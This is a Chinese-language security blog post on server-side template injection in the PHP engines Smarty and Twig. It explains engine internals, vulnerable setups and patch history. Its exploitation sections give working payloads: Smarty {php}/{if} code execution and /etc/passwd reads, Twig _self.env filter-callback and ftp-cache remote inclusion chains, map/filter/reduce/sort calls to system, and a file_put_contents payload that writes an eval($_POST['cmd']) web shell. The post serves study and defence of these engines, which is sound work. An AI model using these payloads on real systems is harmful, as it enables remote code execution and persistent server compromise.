PHP 模板注入

SSTI(服务器端模板注入) 是一种攻击方式。攻击者通过控制输入,将恶意“模板语法”注入到后端模板引擎中,使模板引擎在渲染页面时执行这些恶意语句,从而造成信息泄露、权限绕过,甚至远程代码执行(RCE)。
模板引擎(Template Engine) 是一个用于生成动态 HTML 的系统。,开发者可以在其中使用变量、控制语句(如 if、for)、函数、过滤器等来生成网页内容,而无需在 HTML 中直接混写 PHP 逻辑代码。
常见的 PHP 模板引擎包括:
- Smarty:最经典、最流行的独立模板引擎
- Twig:Symfony 官方推荐的模板引擎,也被 ThinkPHP 等采用
- Blade:Laravel 框架内置模板引擎
其中 Blade 是编译型模板引擎,模板文件(
.blade.php
)在运行前会被编译为原生 PHP 代码, 不支持动态指定模板结构,因此用户无法控制模板结构本身,也就很难存在模板注入。而另外两种模板引擎支持动态指定模板结构,因此也就存在模板注入。
模板注入属于 代码注入 漏洞的一种,但特别之处在于注入的“语言”是模板语法(例如 {{ ... }}
),而不是 PHP 原生代码。
Smarty
https://forum.butian.net/share/2262
https://www.anquanke.com/post/id/272393
Smarty 是 PHP 语言中最早诞生、最成熟、最广泛使用的 模板引擎之一。它以 高效、灵活、安全 著称,广泛应用于各种 Web 项目中。
作为一个 完全独立、与框架无关 的模板系统,Smarty 可以轻松集成到任何 PHP 应用中,既适合传统开发,也适用于现代 MVC 架构,帮助开发者实现 逻辑与表现的彻底分离。
主版本 | 发布时间段 | 特点 | 安全性 |
---|---|---|---|
Smarty 2.x | 2000–2012 | 最早版本,功能有限,安全机制弱 | ❌ 非常危险,支持 {php} 直接执行 PHP |
Smarty 3.x | 2010–2022 | 功能强大,支持模板继承、自定义插件等 | ⚠️ 默认安全不强,可开启沙盒 |
Smarty 4.x / 5.x | 2022–至今 | 使用命名空间,安全性全面加强 | ✅ 默认更安全,功能更现代 |
Smarty 是一个“编译型”的模板引擎。和纯 PHP 模板不同,Smarty 会将模板预先编译为原生的 PHP 文件(默认位于项目的 templates_c
目录下);当下一次执行相同模板的时候会直接 include
缓存的 PHP 文件,从而提高运行速度。
环境搭建
由于 Smarty 是一个完全独立、与框架无关的模板系统,因此我们不能像 ThinkPHP 那样 composer create-project
拉取一个项目骨架,而是 composer require
引入类库到当前项目中。
我们可以通过 composer show
命令查看可以安装的 smarty 版本。
1 | composer show smarty/smarty --all |
然后使用 composer require
安装指定版本的 Smarty 模板引擎:
1 | composer require smarty/smarty:v2.6.24 |
另外 composer require
还可以切换 smarty
版本。其中 --with-all-dependencies
可以强制替换旧版本及其依赖。
1 | rm -rf vendor/ # 删除旧 vendor 目录 |
然后就可以编写一段带有 Smarty 模板注入漏洞的测试代码:
1 |
|
提示
因为从 Smarty 4.x 开始,特别是 5.x,Smarty 官方把类名都放到了命名空间 Smarty
里,因此我们还要额外引入 Smarty
命名空间才能创建 Smarty
对象。
1 | use Smarty\Smarty; |
另外如果是 PHP5 版本则不支持 Composer 的 autoload,我们需要直接引入 Smarty
类。
1 | //require_once __DIR__ . '/vendor/autoload.php'; |
然后在项目目录下开一个 PHP 服务器来测试 Smarty 模板注入漏洞。
1 | php -S 127.0.0.1:8000 |
漏洞成因
正常情况下模板内容(hello.tpl)是固定的写死的文件,用户最多控制变量值(比如 $name
是谁),而无法控制模板结构本身。
例如下面这段代码,用户的输入被作为 name
参数传入模板变量:
1 | $smarty->assign("name", $_GET["name"]); |
而模板文件 hello.tpl
中的内容我们不可控,只能够把我们传入的 name
参数回显出来。
1 | Hello, {$name} |
然而开发者有时会错误的将用户的输入作为模板内容,这样就不是用户控制“变量值”了,而是控制了模板语法本身!
例如下面这段代码中,用户的输入参数 name
被直接拼接到模板结构中。也就是说用户可以控制模板结构本身。
1 | $smarty->display('string:hello,' . $_GET['name']); // 用户输入变成了模板结构! |
string:
是 Smarty 支持的一种模板来源类型,表示:“把冒号后面的内容当作一段字符串模板本身来渲染”,而不是去加载模板文件。Smarty 的模板系统支持多种“资源类型(resource type)”,用来指定模板的来源方式(从文件?字符串?数据库?远程?),格式统一为:
1 <resource_type>:<resource_name>而前面
.tpl
模板文件的形式对应的资源类型为file:
,由于这是一种默认类型因此可以省略。
而模板本身如果可以执行一些危险函数,这就导致了模板注入(SSTI)。
漏洞利用
版本确认
在进行 Smarty SSTI 利用之前,首先需要确认当前使用的 Smarty 版本,因为不同版本的 Smarty 模板引擎具有不同的安全机制和可利用函数,很多 payload 的适用性高度依赖版本。
Smarty 提供了一个内置变量 {$smarty.version}
,可以直接在模板中输出其版本号。
1 | {$smarty.version} |
php 标签
Smarty 早期版本(如 2.x)支持通过 {php}{/php}
标签在模板中直接执行 PHP 代码,例如:
1 | {php}phpinfo();{/php} |
{php} ... {/php}
标签内的代码和普通 PHP 文件中写的代码没有本质区别 —— 你可以调用任何函数、控制流程、执行任意语句,只要当前环境和版本允许你这么做。
但从 Smarty 3.x 开始(尤其是 3.1 之后),出于安全性考虑,官方明确:❗已废弃 {php}
标签,并强烈建议开发者禁用此功能。
IMPORTANT NOTICE 重要说明
{php} tags are deprecated from Smarty, and should not be used. Put your PHP logic in PHP scripts or plugin functions instead. Note
{php}
标签在 Smarty 中已被弃用,不应再使用。 建议将 PHP 逻辑放在 PHP 脚本或插件函数中实现,而不是直接写入模板。As of Smarty 3.1 the {php} tags are only available from SmartyBC.
从 Smarty 3.1 起,
{php}
标签仅在使用SmartyBC
(Smarty 向后兼容类)时才可用。
literal 标签
在 Smarty 中,{literal}
标签用于屏蔽模板语法解析,其作用是:将 {literal} ... {/literal}
中的内容原样输出到渲染结果中,不会被 Smarty 当作模板语法进行处理。
{literal}
标签通常用于保护 JavaScript、CSS、或其他可能包含 {
}
字符的前端代码,防止被 Smarty 错误解析。
虽然 {literal}
并不执行代码,它只是“原样输出”,但在特定条件下,它可以间接触发漏洞行为。
例如在一些早期 PHP 环境(如 PHP 5.x)中,服务器可能启用了以下配置:
1 | short_open_tag = On |
并允许使用过时的写法,例如:
1 | <script language="php">phpinfo();</script> |
上面这段代码是早期的 PHP(比如 PHP4 / PHP5)为方便在 HTML 中嵌入 PHP 代码而设计的语法形式。
其中嵌入 HTML 中的 PHP 和 JavaScript 虽然运行环境不同,前者在服务端执行,后者在客户端执行,但它们都可以在 HTML 页面中嵌入使用,从而为静态的 HTML 增加“动态能力”。
其中嵌入 HTML 中的 PHP 代码作用与 JavaScript 类似,只不过 PHP 代码在服务端运行,而 JavaScript 在客户端浏览器中运行,但都是用来而为静态的 HTML 增加“动态能力”。
另外一种我们常见的
<?php ... ?>
标签的是在.php
文件中与 HTML 混写时标记 PHP 代码范围的。
1 phpinfo();与前面的
<script>
标签的区别是前者用于 HTML 文件,标签是 HTML 中的一部分;后者用于 PHP 文件。
如果模板中存在注入点,并允许原样输出以下内容:
1 | {literal}<script language="php">system('id');</script>{/literal} |
那么 Smarty 渲染后将其写入 .php
页面中,PHP 解释器在解析这个页面时会执行该语句,从而实现 RCE。这是一种 基于 Smarty 原样输出 + 老式 PHP 标签机制 的 SSTI 利用方式。
另外一个比较简单的利用点就是 XSS。如果用户可控输入被包裹在 {literal}...{/literal}
中,Smarty 就不会做任何 HTML 编码或模板变量解析,于是用户可以直接注入任意脚本代码,形成 XSS 攻击。
1 | {literal}<script>alert('xss')</script>{/literal} |
if 标签
Smarty 的 {if}
标签内支持所有类型的 PHP 表达式和函数的执行。
1 | {if phpinfo()}{/if} |
getStreamVariable
getStreamVariable
是 Smarty_Internal_Data
类中的一个方法。该方法会读取文件中的内容,效果和 file_get_contents
类似。
1 | /** |
由于 PHP 的高容忍性,我们可以直接将这个方法当做静态方法调用:
1 | {Smarty_Internal_Data::getStreamVariable("file:///etc/passwd")} |
不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable
方法删除。
writeFile
类似 getStreamVariable
,在 Smarty_Internal_Write_File
类中还有一个静态方法 writeFile
。
1 | /** |
沙箱逃逸
Smarty 的“沙箱”是一种模板运行时限制机制。该机制通过调用 Smarty
的 enableSecurity
方法设置,该方法定义如下:
1 | /** |
通过分析代码可知 enableSecurity
函数的逻辑是:
- 如果传入的是 自定义的 Smarty_Security 实例对象,则直接使用它作为当前安全策略;
- 如果没有传入参数,则使用默认的
$security_class
属性(默认是'Smarty_Security'
)来实例化; - 安全策略最终会赋值到
$this->security_policy
。
因此通常的默认安全策略:
1 | // 默认策略(宽松) |
与下面这段自定义安全策略等价:
1 | // 显式创建默认策略(但可扩展) |
Smarty_Security
有很多安全相关的属性。
属性 | 含义 | 示例值 |
---|---|---|
php_functions |
允许的 PHP 函数 | ['time', 'count'] 或 null 禁止所有 |
php_modifiers |
允许的修饰器函数 | ['escape', 'nl2br'] |
static_classes |
允许调用的静态类 | ['DateTime'] |
allow_constants |
是否允许访问常量 | false |
allow_super_globals |
是否允许访问如 $_GET |
false |
streams |
允许的协议流 | ['file'] |
allow_php_tag |
是否允许 {php} 标签 |
false |
php_handling |
是否解析模板中的 PHP 代码 | Smarty::PHP_REMOVE |
例如下面这段代码,用户可以自定义这些安全属性。
1 | $policy = new Smarty_Security($smarty); |
另外我们可以在 Smarty_Security
类的声明中查看是默认策略下字段的值。其中只有下面几个字段设置了初始值,其他的字段都设置为空值。
1 | /** |
CVE-2017-1000480
CVE-2021-26120
CVE-2021-26119
CVE-2021-29454
Twig
https://hadagaga.github.io/2025/03/03/PHPsstiTwig/
Twig 是由 Symfony 社区开发的现代化 PHP 模板引擎,以 简洁语法、高性能、安全性强 著称,广泛应用于 Symfony、Laravel 等主流框架中,也可以独立使用于任何原生 PHP 项目。
主版本 | 发布时间段 | 特点 | 安全性 |
---|---|---|---|
Twig 1.x | 2009–2017 | 初代版本,兼容 PHP 5 | ❌ 安全机制较弱 |
Twig 2.x | 2017–2020 | 引入部分现代特性,PHP 7 起步 | ⚠️ 默认不执行 PHP,但结构仍旧宽松 |
Twig 3.x | 2020–至今 | 命名空间结构,性能更强,安全增强 | ✅ 默认安全性高,推荐使用 |
Twig 是解释型模板引擎,模板文件会在渲染时被编译为 PHP 类,缓存机制可选,适合现代化开发。
环境搭建
与 Smarty 一样,Twig 需要通过 composer require
安装到当前项目中。
我们可以通过如下命令查看 Twig 的所有可安装版本:
1 | composer show twig/twig --all |
然后使用 composer require
安装指定版本的 Twig:
1 | composer require twig/twig:^2.0 # 安装 Twig 2.x |
果需要切换 Twig 版本,可以使用 --with-all-dependencies
强制更新依赖:
1 | rm -rf vendor/ # 删除旧 vendor 目录 |
然后就可以编写一段 Twig 模板注入测试代码。
在 Twig 1.x/2.x 中仍然保留了非命名空间风格类名(如 Twig_Environment
)。
1 |
|
从 Twig 3.x 开始,Twig 全部采用命名空间方式进行类组织:
1 |
|
漏洞成因
Twig 提供了多种模板加载器(类似 Smarty 模板中声明的资源类型),决定了模板从哪里来、怎么加载,它们的安全性差异也直接决定了是否会发生模板注入(SSTI)。
如果采用的是 FilesystemLoader
这种模板加载器,则 Twig 模板文件结构是固定的,用户输入只会被当作模板变量内容,而非模板语法。这种形式非常安全,不存在模板注入。
例如下面的代码从 templates/hello.twig
加载模板内容,并将用户输入作为变量传入:
1 | $loader = new FilesystemLoader('templates'); |
模板 hello.twig
的内容如下:
1 | Hello, {{ name }} |
与Smarty 使用
{}
的模板语法不同,Twig 为了避免与 HTML、CSS、JS 中常见的{}
冲突,,采用双层花括号{{ }}
表达“变量输出”,并与控制语句{% %}
分离。
此时,用户传入的参数 name
仅用于替换 {{ name }}
变量,无法影响模板结构本身,所以不存在模板注入风险。
如果采用的是 ArrayLoader
这种模板加载器则模板是通过 PHP 数组注册的,可以动态构造模板结构。开发者如果错误地将用户输入直接拼接为模板内容本身,这就造成了 模板结构可控 → SSTI(服务端模板注入)漏洞:
1 | $loader = new ArrayLoader([ |
对于上述代码,攻击者可构造输入:?name={{7*7}}
,如果输出 Hello, 49
这说明模板结构本身被控制,导致了 SSTI。
漏洞利用
Twig 1.x(小于 v1.20.0)
利用原理
Twig 1.x 的 lib/Twig/Node/Expression/Name.php
中定义了 3 个特殊模板变量:
1 | protected $specialVars = array( |
这是一个类属性(定义在 Twig_Node_Expression_Name
类中),它的意思是:当模板中用 {{ _self }}
、{{ _context }}
、{{ _charset }}
这几个“特殊变量名”时,不是去 $context
变量里找,而是自动替换成特定的 PHP 代码。
其中变量 _self
会被替换成 $this
,也就是模板类本身(Twig_Template
)。这意味着你在模板中写:
1 | {{ _self.env }} |
就是拿到 $this->env
,也就是 Twig_Environment
实例。此时我们可以调用 Twig_Environment
中的方法。
远程文件包含
在 Twig_Environment
类中,setCache
可以设置 $this->$cache
。
1 | /** |
我们可以通过 _self.env.setCache
调用 setCache
函数设置 $this->cache
为 ftp
协议路径。这里使用 ftp
伪协议是为了在远程文件包含的基础上绕过 is_file
判断。
1 | {{_self.env.setCache("ftp://localhost/backdoor")}} |
Twig_Environment
类中还有一个 loadTemplate
函数可以加载一个指定名称的模板。
1 | {{ _self.env.loadTemplate("backdoor") }} |
提示
Twig 支持我们连续写多个表达式结构,来依次调用多个函数,达到连续执行多个操作的目的。
1 | http://localhost/?name={{_self.env.setCache("ftp://localhost/backdoor")}}{{ _self.env.loadTemplate("backdoor") }} |
loadTemplate
函数的实现如下,我们主要想利用的是里面的一个使用 require_once
的文件包含。不过这里需要绕过一系列的判断。
1 | /** |
首先一开始会通过 getTemplateClass
函数获取模板类名。其中 $index
参数由于我们没有设置因此是默认值 null
。
1 | // 获取模板类名(通常是根据模板名 hash 编出来的 PHP 类名) |
getTemplateClass
函数将 __TwigTemplate_
前缀与 $this->loader->getCacheKey($name)
的 sha256
(低版本为 md5
)拼接在一起作为名称为 $name
的模板对应的 PHP 类名。
1 | /** |
Twig_Environment
的 $loader
指向一个 Twig_Loader_Array
类实例化的对象。Twig_Loader_Array
中只有一个成员 templates
数组,里面存储的是模板名称到模板内容的映射。Twig_Loader_Array
类的 getCacheKey
方法实现如下:
1 | /** |
可以看到如果传入一个没有注册过的模板的名称,则会抛出异常导致请求终止。因此我们需要使用一个注册过的模板的名称。
例如这里我们利用的是已经注册的模板 backdoor
,它对应的模板类名称为 '__TwigTemplate_' . hash('sha256', 'dummy') . '' = '__TwigTemplate_b5a2c96250612366ea272ffac6d9744aaf4b45aacd96aa7cfcb931ee3b558259'
。
1 | $loader = new Twig_Loader_Array([ |
返回到 loadTemplate
后会有一个缓存优化。如果我们计算出来的类名在 $this->loadedTemplates
中出现则会直接返回。
1 | // 获取模板类名(通常是根据模板名 hash 编出来的 PHP 类名) |
为了执行到远程文件包含的位置,我们需要避免 loadedTemplates
中出现我们利用的类名。这就要求该类名对应的模板被注册过但是还没有被使用过。
再之后需要绕过一系列的判断执行到任意文件包含的位置。
1 | // 如果该模板类还没被定义(即没有被 require 或 eval) |
为此需要满足:
模板对应的类名不存在。这里由于模板没有被使用过,显然是不存在的。
$this->getCacheFilename($name)
的返回值不为false
。这里计算出来的模板文件的缓存路径为ftp://localhost/backdoor/b/5/b5a2c96250612366ea272ffac6d9744aaf4b45aacd96aa7cfcb931ee3b558259.php
。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40/**
* 获取当前配置的缓存目录(如果禁用缓存,则返回 false)
*
* @return string|false
* - 如果启用了缓存,返回缓存目录路径(如 "/tmp/twig_cache")
* - 如果未启用缓存,返回 false
*/
public function getCache()
{
return $this->cache;
}
/**
* 根据模板名称获取该模板对应的缓存文件路径(包含目录)
*
* Twig 会将模板编译成 PHP 类文件,并缓存在磁盘上;
* 本函数根据模板名称计算出对应的缓存文件的完整路径。
*
* @param string $name 模板名称
* @return string|false
* - 返回缓存文件的绝对路径
* - 如果未启用缓存($this->cache === false),返回 false
*/
public function getCacheFilename($name)
{
// 如果禁用缓存,则直接返回 false
if (false === $this->cache) {
return false;
}
// 获取模板对应的类名,如:__TwigTemplate_b5a2c962...
// 然后去掉前缀 __TwigTemplate_,只保留 hash 值部分
$class = substr($this->getTemplateClass($name), strlen($this->templateClassPrefix));
// 目录结构采用两级目录,每级只取 hash 的一个字符(非每两位一层!)
// 示例:
// $class = "b5a2c96250..."
// 缓存路径 = ftp://localhost/backdoor/b/5/b5a2c96250....php
return $this->getCache().'/'.$class[0].'/'.$class[1].'/'.$class.'.php';
}需要满足
is_file($cache) == true
且$this->isAutoReload() == true
,否则要调用$this->writeCacheFile
将重新编译的模板代码写入缓存路径(虽然我们可以自己用 python 的pyftpdlib
库实现一个 ftp 服务器,使其支持写入文件同时返回的还是恶意文件)。1
2
3
4
5
6
7
8
9// 如果缓存文件不存在,或启用了自动刷新功能并发现模板有更新
if (!is_file($cache) || ($this->isAutoReload() && !$this->isTemplateFresh($name, filemtime($cache)))) {
// 重新编译模板源码并写入缓存文件
$this->writeCacheFile(
$cache,
$this->compileSource($this->getLoader()->getSource($name), $name)
);
}- 由于
ftp
协议支持is_file
函数,因此我们只需要在 ftp 服务器对应$cache
路径下放置恶意文件皆可。 $this->isAutoReload()
返回的$this->autoReload
默认为false
,满足条件。
- 由于
最后会通过 require_once
从我们指定的 ftp 服务器上的 $cache
路径下载恶意 PHP 文件执行,实现 RCE。
1 | // 从缓存文件中加载(相当于 require compiled PHP template) |
任意代码执行
Twig_Environment
类中还有一个 getFilter
函数,该函数会调用 $this->filterCallbacks
中注册的回调函数并将 getFilter
的参数 $name
作为参数传入。
1 | /** |
而 registerUndefinedFilterCallback
可以向 $this->filterCallbacks
中注册回调函数。
1 | /** |
因此我们可以先往回调函数里面注册 system
函数然后调用 getFilter
执行命令。
1 | {{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("calc") }} |
修复情况
在 Twig v1.20.0 中,官方修复了通过 _self.env
实现远程命令执行(RCE)的经典 SSTI 利用链,修复内容由 commit a8a125b
引入。
禁止访问模板对象的属性(如
_self.env
)。如果对象是模板本身(Twig_Template
),则不允许通过属性访问其内部成员。这一修补切断了Twig_Template → Twig_Environment
的访问通路。1
2
3
4- if (self::METHOD_CALL !== $type) {
+ // 如果当前不是方法调用(是属性访问),并且目标对象不是 Twig_Template 实例:
+ // 因为 Twig_Template 没有 public 属性,我们不希望模板访问它的内部属性(如 env)
+ if (self::METHOD_CALL !== $type && !$object instanceof self) {禁止模板访问敏感方法(如
getEnvironment()
)。官方通过反射手动过滤掉了Twig_Template
中的敏感 public 方法,如getEnvironment()
,防止通过方法调用绕过属性限制。1
2
3
4
5
6
7
8
9
10foreach ($ref->getMethods(ReflectionMethod::IS_PUBLIC) as $refMethod) {
// 获取当前方法的名称并转换为小写(Twig 内部使用小写方法名做比对)
$methodName = strtolower($refMethod->name);
// 禁止从模板中访问 getEnvironment 方法,以防止攻击者利用其获取 Twig_Environment 对象
if ('getenvironment' !== $methodName) {
// 将允许的方法名加入 methods 列表
$methods[$methodName] = true;
}
}添加测试断言,确保访问失败。官方在测试用例中加入了断言,验证模板中无法再访问
env
、getEnvironment()
等内部 API:1
2
3
4$this->assertFalse($template->getAttribute($template1, 'env', array(), Twig_Template::ANY_CALL, true));
$this->assertFalse($template->getAttribute($template1, 'environment', array(), Twig_Template::ANY_CALL, true));
$this->assertFalse($template->getAttribute($template1, 'getEnvironment', array(), Twig_Template::METHOD_CALL, true));
$this->assertFalse($template->getAttribute($template1, 'displayWithErrorHandling', array(), Twig_Template::METHOD_CALL, true));
Twig 2.x / 3.x(v2.10.0+,3 全版本)
虽然高版本不再运行我们在模板代码中使用 _self
变量,但是 Twig v2.10.0 开始(具体在commit 3d95ffe
引入)支持 "filter"
、"map"
和 "reduce"
过滤器。与 1.x 版本类似,这些过滤器支持我们添加自定义回调函数,同样可以实现任意代码执行。
提示
Twig v2.10.0 引入的是 "filter"
、"map"
和 "reduce"
过滤器,但是 Twig 远不止这三个过滤器。后续 2.x 版本中 Twig 又引入了 "sort"
过滤器,而 3.x 版本的过滤器更多。
在 Twig 中回调函数习惯使用 $arrow
命名回调函数,并且高版本中调用回调函数前都会调用 checkArrowInSandbox
进行安全检查。因此我们可以通过搜索这些特征快速定位到可用的过滤器。
map 过滤器
map
过滤器是 Twig 中用于对数组中的每一项进行转换(映射)的过滤器,具体如何映射取决于过滤器中注册的函数。例如下面这个模板:
1 | {{[1, 2, 3]|map(x => x * 2)|join(', ')}} |
其中的 map(x => x * 2)
注册了一个回调函数可以数组中的元素乘 2。通过调时我们发现这个模板生成的模板类 __TwigTemplate_3eda51de...
中的 doDisplay
函数如下:
提示
我们可以查看调用栈,在动态生成的模板类所调用到的方法上下断点,然后查看模板类的 $this->env->compiler->source
中存储的类的源码。
1 | /** |
其中 CoreExtension::map
函数会传入模板中的数组 [1,2,3]
以及我们注册的函数(Twig 编译器自动生成的PHP 匿名函数(closure))。
匿名函数接受一个参数 $__x__
,然后会返回 $__x__ * 2
。
1 | function ($__x__) use ($context, $macros) { |
在 PHP 中,匿名函数(closure)默认是不能访问外部变量的。
use(...)
语法就是为了解决这个问题,让你显式声明哪些变量可以被这个函数内部访问。
1
2
3
4
5
6
7 $outside = "hello";
$fn = function() use ($outside) {
echo $outside;
};
$fn(); // 输出 hello
而 CoreExtension::map
函数(2.x 是 twig_array_map
函数)会对传入的数组 $array
逐个调用回调函数 $arrow
,并且数组的元素会作为第一个参数传入。
1 | /** |
因此我们不难想到在模板中把 map 的回调函数注册为命令执行函数,然后数组中的元素设置为要执行的命令,这样 Twig 在渲染模板的时候就可以实现任意命令执行。
1 | {{["calc"]|map("system")}} |
以 {{["calc"]|map("system")}}
为例,生成的 doDisplay
函数如下:
1 | /** |
另外观察发现,CoreExtension::map
函数实际上是支持两个参数的,其中第一个参数是数组中的元素,第二个参数是数组元素的下标。因此我们还可以通过 file_put_contents
函数写 web shell。
1 | {{{"<?php phpinfo();eval($_POST['cmd'])":"1.php"}|map("file_put_contents")}} |
对应 CoreExtension::map
的传参如下:
1 | Twig\Extension\CoreExtension::map( // 调用 map 执行 file_put_contents |
filer 过滤器
filter
过滤器是 Twig 模板引擎中用于“筛选数组元素”的工具。它的作用和 PHP 的 array_filter()
类似:对数组中的每一项应用一个回调函数,保留返回值为真(truthy)的项,构造一个新数组返回。
与 map 过滤器一样,filter 过滤器同样支持我们自定义过滤回调函。因此我们可以构造类似下面这种模板来实现命令执行。
1 | {{["calc"]|filter("system")}} |
此时生成的模板类中的 doDisplay
函数调用的是 CoreExtension::filter
函数(2.x 是 twig_array_filter
函数)。
1 | protected function doDisplay(array $context, array $blocks = []) |
CoreExtension::filter
会调用 array_filter
函数并传入数组 $array
和回调函数 $arrow
,从而实现对数组中元素的过滤。
1 | /** |
这里要注意的是 array_filter
的第三个参数传入的是 ARRAY_FILTER_USE_BOTH
标志位,这意味着回调函数会接收 两个参数。其中第一个参数为值;第二个参数为键。也就是说我们可以像前面 map 过滤器一样通过 file_put_contents
函数写 web shell。
1 | {{{"<?php phpinfo();eval($_POST['cmd'])":"1.php"}|filter("file_put_contents")}} |
reduce 过滤器
reduce
过滤器是 Twig 模板中用于“数组归约”(也叫折叠、累计)的过滤器,它会遍历整个数组,把每一项的值依次“折叠”成一个最终的值。
reduce
过滤器对应的 CoreExtension::reduce
函数在调用回调函数传参时与前面两个过滤器稍有不同。
1 | /** |
这里 CoreExtension::reduce
函数支持 3 个参数。其中第一个参数是当前累加的值,后面两个参数才是数组中的值和键。而在模板中 reduce
的第一个参数为回调函数,第二个参数为归并的初始值。
也就是说下面这个模板:
1 | {{ [1, 2, 3]|reduce((sum, n) => sum + n, 0) }} |
在编译成 PHP 代码后等价于下面这段代码:
1 | $acc = 0; |
因此如果直接调用 system
执行命令会有参数数量的报错:Warning: system() expects at most 2 parameters, 3 given
,解决方法是利用 call_user_func
中转一下。
1 | {{["calc"]|reduce("call_user_func", "system")}} |
sort 过滤器
sort
过滤器是 Twig 模板引擎中的一个内置过滤器,用于对数组或可遍历对象进行排序操作。sort
过滤器会按照值对数组进行升序排序,支持默认排序和自定义排序函数两种方式。
sort
过滤器最终调用到的是 CoreExtension::sort
函数。对于自定义排序方式,该函数通过调用 uasort
并传入注册的回调函数实现。
1 | /** |
因此我们可以使用下面这个模板语句执行命令:
1 | {{["calc", 0]|sort("system")}} |
沙箱逃逸
CVE-2024-45411(小于 1.44.8,2.16.1,3.14.0)
1 | From 7afa198603de49d147e90d18062e7b9addcf5233 Mon Sep 17 00:00:00 2001 |
- Title: PHP 模板注入
- Author: sky123
- Created at : 2025-08-11 23:53:29
- Updated at : 2025-08-12 00:26:31
- Link: https://skyi23.github.io/2025/08/11/PHP 模板注入/
- License: This work is licensed under CC BY-NC-SA 4.0.